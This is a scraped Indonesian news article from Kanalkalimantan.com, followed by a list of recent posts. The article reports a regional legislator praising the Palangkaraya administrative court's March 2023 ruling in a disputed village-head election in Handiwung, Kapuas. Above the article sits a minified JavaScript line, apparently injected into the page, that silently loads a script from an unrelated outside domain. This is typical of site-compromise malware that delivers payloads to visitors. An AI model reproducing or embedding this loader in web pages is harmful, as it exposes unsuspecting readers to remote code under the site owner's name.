(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Anggota DPRD Kapuas Apresiasi Putusan PTUN Kasus Gugatan Sengketa Pilkades Handiwung


KANALKALIMANTAN.COM, KUALA KAPUAS – Anggota DPRD Kabupaten Kapuas Lawin mengapresiasi Pengadilan Tata Usaha Negara (PTUN) Palangkaraya atas putusan terkait gugatan sengketa Pemilihan Kepala Desa (Pilkades) di Desa Handiwung, Kecamatan Pulau Petak, dari satu calon kepala desa.

Seperti diketahui, dikutip dari web SIPP PTUN Palangkaraya nomor perkara 33/G/2022/PTUN.PLK dengan penggugat atas nama Abdurrahman dan tergugat Bupati Kapuas telah disidangkan, dan putusan sudah disampaikan tanggal 2 Maret 2023, yang mana mengabulkan gugatan penggugat untuk sebagian.

Juga menyatakan batal atas Surat Keputusan Bupati Kapuas Nomor: 399/DPMD tahun 2022 tentang pemberhentian pejabat kepala desa dan pengangkatan kepala desa terpilih hasil pemilihan kepala desa serentak di Kecamatan Pulau Petak, Kabupaten Kapuas tahun 2022” atas nama Kelana Putera, tertanggal 15 September 2022.

Mewajibkan tergugat untuk mencabut Keputusan Bupati Kapuas Nomor: 399/DPMD tahun 2022 tentang pemberhentian pejabat kepala desa xan pengangkatan kepala desa terpilih hasil pemilihan kepala desa serentak di Kecamatan Pulau Petak, Kabupaten Kapuas tahun 2022 atas nama Kelana Putera, tertanggal 15 September 2022.

 

Baca juga: Urusan Sebatang Rokok, Pemuda di Banjarmasin Gebuki Kawan Sendiri Karena Tersinggung

“Saya mengapresiasi terhadap putusan PTUN yang telah mengabulkan penggugat atas nama Abdurrahman terhadap sengketa Pilkades di Desa Handiwung,” kata Lawin, Selasa (7/3/2023) siang.

Lawin yang juga Ketua Komisi I DPRD Kapuas menyampaikan apresiasi kepada PTUN yang telah melaksanakan tugas dan memutuskan atas nama Abdurahman sebagai pemenang.

Lawin berharap kepada para pihak agar dapat menerima putusan PTUN, demi keberlangsungan serta berjalannya roda pemerintahan desa.

“Batas waktu selama 14 hari sejak putusan, kalaupun harus banding, pihak penggugat yang dinyatakan menang PTUN, tentunya harus bersabar menunggu putusan selanjutnya,” ucapnya.

Sebelumnya, penggugat melakukan gugatan putusan Bupati Kapuas yang telah menyatakan Kelana Putra sebagai pemenang Pilkades tahun 2022. Perihal gugatan Abdurrahman, karena dianggap dalam proses pelaksanaan Pilkades tersebut penggugat merasa dirugikan, sehingga melakukan gugatan terhadap putusan sebagai pemenang Pilkades tersebut. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

7 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

7 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

8 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

8 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

8 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

9 jam ago

This website uses cookies.